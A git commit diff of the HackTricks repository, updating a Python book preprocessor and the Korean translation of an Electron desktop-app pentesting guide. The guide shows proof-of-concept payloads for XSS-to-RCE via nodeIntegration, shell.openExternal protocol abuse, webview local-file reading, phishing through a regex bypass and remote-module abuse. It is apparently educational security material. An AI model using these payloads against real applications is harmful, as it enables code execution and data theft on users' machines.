Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-01-07 18:16:11 +00:00
parent 75778cc90a
commit 92c1808ac7
3 changed files with 150 additions and 39 deletions

1
.gitignore vendored
View File

@ -10,3 +10,4 @@ scripts/*
book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log

View File

@ -7,7 +7,14 @@ from os import path
from urllib.request import urlopen, Request
logger = logging.getLogger(__name__)
logging.basicConfig(filename='hacktricks-preprocessor.log', filemode='w', encoding='utf-8', level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(filename='hacktricks-preprocessor.log', mode='w', encoding='utf-8')
handler.setLevel(logging.DEBUG)
logger.addHandler(handler)
handler2 = logging.FileHandler(filename='hacktricks-preprocessor-error.log', mode='w', encoding='utf-8')
handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
def findtitle(search ,obj, key, path=(),):
@ -27,7 +34,7 @@ def findtitle(search ,obj, key, path=(),):
def ref(matchobj):
logger.debug(f'Match: {matchobj.groups(0)[0].strip()}')
logger.debug(f'Ref match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
@ -45,19 +52,29 @@ def ref(matchobj):
try:
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
try:
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
print(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
logger.debug(e)
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
sys.exit(1)
@ -69,6 +86,7 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
@ -76,19 +94,19 @@ def files(matchobj):
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
logger.debug(root)
logger.debug(files)
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
logger.error(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
logger.error(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
@ -97,6 +115,7 @@ def files(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
@ -126,15 +145,15 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n#]*(?:#(.*))?)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = re.sub(regex, files, new_content)
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -11,7 +11,7 @@ Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 설정된 `main.js` 파일이 지정되어 있습니다.
Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 지정된 `main.js` 파일을 찾을 수 있습니다.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 설정
```
Electron에는 2가지 프로세스 유형이 있습니다:
- 메인 프로세스 (NodeJS에 대한 완전한 접근 권한을 가짐)
- 렌더러 프로세스 (보안상의 이유로 NodeJS 접근 권한이 제한되어야 함)
- Main Process (NodeJS에 대한 완전한 접근 권한을 가짐)
- Renderer Process (보안상의 이유로 NodeJS 접근 권한이 제한되어야 함)
![](<../../../images/image (182).png>)
**렌더러 프로세스**는 파일을 로드하는 브라우저 창이 될 것입니다:
**renderer process**는 파일을 로드하는 브라우저 창이 될 것입니다:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,16 +32,16 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성되면** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다.
**렌더러 프로세스**의 설정은 **main.js** 파일의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성된 경우** Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 **방지**합니다.
Electron 애플리케이션은 Node API를 통해 **장치에 접근할 수 있지만**, 이를 방지하도록 구성할 수 있습니다:
- **`nodeIntegration`** - 기본적으로 `off`입니다. 켜면 렌더러 프로세스에서 Node 기능에 접근할 수 있습니다.
- **`contextIsolation`** - 기본적으로 `on`입니다. 꺼지면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.
- **`preload`** - 기본적으로 비어 있습니다.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본적으로 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
- **`nodeIntegration`** - 기본값은 `off`입니다. 켜면 렌더러 프로세스에서 Node 기능에 접근할 수 있습니다.
- **`contextIsolation`** - 기본값은 `on`입니다. 꺼지면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.
- **`preload`** - 기본값은 비어 있습니다.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
- 워커에서의 Node 통합
- **`nodeIntegrationInSubframes`** - 기본적으로 꺼져 있습니다.
- **`nodeIntegrationInSubframes`** - 기본값은 꺼져 있습니다.
- **`nodeIntegration`**이 **활성화**되면, 이는 Electron 애플리케이션 내의 iframe에 **로드된 웹 페이지에서 Node.js API**를 사용할 수 있게 합니다.
- **`nodeIntegration`**이 **비활성화**되면, 프리로드는 iframe에서 로드됩니다.
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
여기에서의 일부 **RCE payloads**: [here](https://7as.es/electron/nodeIntegration_rce.txt):
일부 **RCE 페이로드**는 [여기](https://7as.es/electron/nodeIntegration_rce.txt)에서 확인할 수 있습니다:
```html
Example Payloads (Windows):
<img
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
이 설정에서 언급된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드되므로**, **Node API에 무제한으로 접근할 수 있습니다**:
이 설정에서 표시된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드되므로**, **Node API에 무제한으로 접근할 수 있습니다**:
```javascript
new BrowserWindow{
webPreferences: {
@ -185,14 +185,14 @@ window.addEventListener('click', (e) => {
이 예제에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요.
Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration``contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행(RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 기본 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지됩니다.
Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration``contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 네이티브 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지된다는 것이 확립되었습니다.
사용자가 링크와 상호작용하거나 새 창을 열면 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안 및 기능에 중요합니다:
사용자가 링크와 상호작용하거나 새 창을 열 때, 애플리케이션의 보안 및 기능에 중요한 특정 이벤트 리스너가 트리거됩니다:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
이 리스너는 **데스크 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다.
이 리스너는 **데스크 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다.
**여기 간단한 의사코드가 있습니다:**
@ -202,6 +202,8 @@ webContents.on("will-navigate", function (event, url) {}
Electron JS 보안 모범 사례는 `openExternal` 함수를 사용하여 신뢰할 수 없는 콘텐츠를 수용하지 말 것을 권장합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있습니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예제와 추가 설명은 [이 리소스](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 여기에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예제가 포함되어 있습니다.
macOS에서는 `openExternal` 함수를 악용하여 `shell.openExternal('file:///System/Applications/Calculator.app')`와 같은 임의의 명령을 실행할 수 있습니다.
**Windows 프로토콜 악용의 예는 다음과 같습니다:**
```html
<script>
@ -224,7 +226,7 @@ window.open(
```
## 내부 파일 읽기: XSS + contextIsolation
**`contextIsolation`을 비활성화하면 `<webview>` 태그를 사용할 수 있습니다**, `<iframe>`과 유사하게, 로컬 파일을 읽고 유출하는 데 사용됩니다. 제공된 예시는 이 취약점을 이용하여 내부 파일의 내용을 읽는 방법을 보여줍니다:
**`contextIsolation` 비활성화는 `<webview>` 태그의 사용을 가능하게 하여**, `<iframe>`과 유사하게 로컬 파일을 읽고 유출할 수 있습니다. 제공된 예시는 이 취약점을 이용하여 내부 파일의 내용을 읽는 방법을 보여줍니다:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
@ -247,7 +249,7 @@ frames[0].document.body.innerText
## **RCE: XSS + Old Chromium**
애플리케이션에서 사용되는 **chromium**이 **오래된** 경우, **알려진** **취약점**이 있을 수 있으며, 이를 **악용하여 XSS를 통해 RCE를 얻을 수** 있습니다.\
이 **writeup**에서 예를 볼 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
이 **writeup**에서 예를 볼 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
@ -258,22 +260,110 @@ XSS를 발견했지만 **RCE를 트리거하거나 내부 파일을 훔칠 수
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`**에 대한 호출은 **링크**가 플랫폼에 속하는 링크이기 때문에 **데스크탑 창**에서 **열릴지** 아니면 **브라우저에서 3자 리소스**로 열릴지를 결정합니다.
**`openInternally`** 호출은 **링크**가 플랫폼에 속하는 링크인지에 따라 **데스크탑 창**에서 **열릴지** 또는 **브라우저에서 3rd 파티 리소스**로 열릴지를 결정합니다.
함수가 사용하는 **정규 표현식**이 **우회 공격에 취약한 경우**(예: **서브도메인의 점을 이스케이프하지 않는 경우**) 공격자는 XSS를 악용하여 **새 창을 열 수 있습니다**. 이 창은 공격자의 인프라에 위치하며 **사용자에게 자격 증명을 요청**합니다.
함수가 사용하는 **정규 표현식**이 **우회 공격에 취약한 경우** (예: **서브도메인의 점을 이스케이프하지 않는 경우**) 공격자는 XSS를 악용하여 **새 창을 열 수 있으며**, 이 창은 공격자의 인프라에 위치하여 **사용자에게 자격 증명을 요청**할 수 있습니다:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## **도구**
## Remote module
Electron Remote 모듈은 **렌더러 프로세스가 메인 프로세스 API에 접근할 수 있도록** 하여 Electron 애플리케이션 내에서의 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 상당한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 교차 사이트 스크립팅(XSS) 공격과 같은 취약점에 더 취약해집니다.
> [!TIP]
> **remote** 모듈이 메인에서 렌더러 프로세스로 일부 API를 노출하지만, 구성 요소를 남용하는 것만으로 RCE를 얻는 것은 간단하지 않습니다. 그러나 구성 요소는 민감한 정보를 노출할 수 있습니다.
> [!WARNING]
> 여전히 remote 모듈을 사용하는 많은 앱은 렌더러 프로세스에서 **NodeIntegration을 활성화해야** 하는 방식으로 사용하며, 이는 **엄청난 보안 위험**입니다.
Electron 14부터 Electron의 `remote` 모듈은 보안 및 성능 이유로 여러 단계에서 활성화될 수 있으며, **사용하지 않는 것이 권장됩니다**.
활성화하려면, 먼저 **메인 프로세스에서 활성화해야** 합니다:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
그런 다음, 렌더러 프로세스는 모듈에서 객체를 다음과 같이 가져올 수 있습니다:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**는 원격 모듈의 객체 **`app`**에서 노출된 몇 가지 흥미로운 **기능**을 나타냅니다:
- **`app.relaunch([options])`**
- **현재 인스턴스를 종료하고** 새 인스턴스를 **시작하여** 애플리케이션을 **재시작**합니다. **앱 업데이트**나 중요한 **상태 변경**에 유용합니다.
- **`app.setAppLogsPath([path])`**
- **앱 로그**를 저장할 디렉토리를 **정의**하거나 **생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용하여 **가져오거나** **수정**할 수 있습니다.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- 지정된 **프로토콜**에 대한 **기본 핸들러**로 현재 실행 파일을 **등록**합니다. 필요에 따라 **사용자 지정 경로**와 **인수**를 제공할 수 있습니다.
- **`app.setUserTasks(tasks)`**
- **작업 목록**(Windows에서)에서 **작업 카테고리**에 작업을 **추가**합니다. 각 작업은 앱이 **시작되는 방식**이나 전달되는 **인수**를 제어할 수 있습니다.
- **`app.importCertificate(options, callback)`**
- 시스템의 **인증서 저장소**에 **PKCS#12 인증서**를 **가져옵니다**(Linux 전용). 결과를 처리하기 위해 **콜백**을 사용할 수 있습니다.
- **`app.moveToApplicationsFolder([options])`**
- 애플리케이션을 **응용 프로그램 폴더**로 **이동**합니다(맥OS에서). Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
- **`app.setJumpList(categories)`**
- **Windows**에서 **사용자 지정 점프 목록**을 **설정**하거나 **제거**합니다. 사용자가 작업이 표시되는 방식을 조직하기 위해 **카테고리**를 지정할 수 있습니다.
- **`app.setLoginItemSettings(settings)`**
- **로그인** 시 어떤 **실행 파일**이 **옵션**과 함께 시작되는지를 **구성**합니다(맥OS 및 Windows 전용).
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences 모듈
Electron에서 시스템 기본 설정에 접근하고 시스템 이벤트를 발생시키기 위한 **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault**와 같은 메서드는 모두 이 모듈의 **일부**입니다.
**사용 예:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **네이티브 macOS 알림**을 NSDistributedNotificationCenter를 사용하여 **청취**합니다.
* **macOS Catalina** 이전에는 CFNotificationCenterAddObserver에 **nil**을 전달하여 **모든** 분산 알림을 스니핑할 수 있었습니다.
* **Catalina / Big Sur** 이후, 샌드박스 앱은 **이름으로** 알림을 등록하여 여전히 **많은 이벤트**(예: **화면 잠금/해제**, **볼륨 마운트**, **네트워크 활동** 등)에 **구독**할 수 있습니다.
### **getUserDefault / setUserDefault**
* **NSUserDefaults**와 **인터페이스**하여 macOS에서 **애플리케이션** 또는 **전역** 기본 설정을 저장합니다.
* **getUserDefault**는 **최근 파일 위치**나 **사용자의 지리적 위치**와 같은 민감한 정보를 **검색**할 수 있습니다.
* **setUserDefault**는 이러한 기본 설정을 **수정**할 수 있으며, 이는 앱의 **구성**에 영향을 미칠 수 있습니다.
* **구버전 Electron**(v8.3.0 이전)에서는 NSUserDefaults의 **표준 모음**만 **접근 가능**했습니다.
## Shell.showItemInFolder
이 함수는 주어진 파일을 파일 관리자에서 보여주며, **파일을 자동으로 실행할 수 있습니다**.
자세한 정보는 [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)에서 확인하세요.
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity)는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint)는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)는 취약한 서드파티 라이브러리를 확인하는 도구입니다.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)은 취약한 서드파티 라이브러리를 검사합니다.
- [**Electro.ng**](https://electro.ng/): 구매해야 합니다.
## 실습
## Labs
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)에서 취약한 Electron 앱을 악용하는 실습을 찾을 수 있습니다.
@ -309,5 +399,6 @@ npm start
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electron 보안에 대한 더 많은 연구 및 글은 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)에서 확인할 수 있습니다.
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}